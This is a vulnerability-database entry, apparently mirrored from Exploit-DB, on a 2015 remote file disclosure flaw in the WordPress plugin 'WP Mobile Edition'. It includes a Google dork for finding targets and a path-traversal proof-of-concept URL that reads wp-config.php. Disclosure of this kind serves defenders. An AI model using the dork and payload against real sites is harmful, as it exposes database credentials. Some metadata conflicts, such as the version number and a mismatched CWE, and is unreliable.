Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability

vendor:

WP Mobile Edition

by:

Khwanchai Kaewyos

7.5

CVSS

HIGH

Remote File Disclosure

434

CWE

Product Name: WP Mobile Edition

Affected Version From: 2.2.2007

Affected Version To: 2.2.2007

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress_mobile_edition

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

WordPress Plugin ‘WP Mobile Edition’ Remote File Disclosure Vulnerability

Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php', allowing attackers to view the source code of wp-config.php.

Mitigation:

Ensure that user input is properly sanitized and filtered before being used in a file path.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability
# Date: April 11, 2015
# Exploit Author: @LookHin (Khwanchai Kaewyos)
# Google Dork: inurl:?fdx_switcher=mobile
# Vendor Homepage: https://wordpress.org/plugins/wp-mobile-edition/
# Software Link: https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
# Version:  WP Mobile Edition Version 2.2.7

- Overview:
Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'

- Search on Google
inurl:?fdx_switcher=mobile

- POC
Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php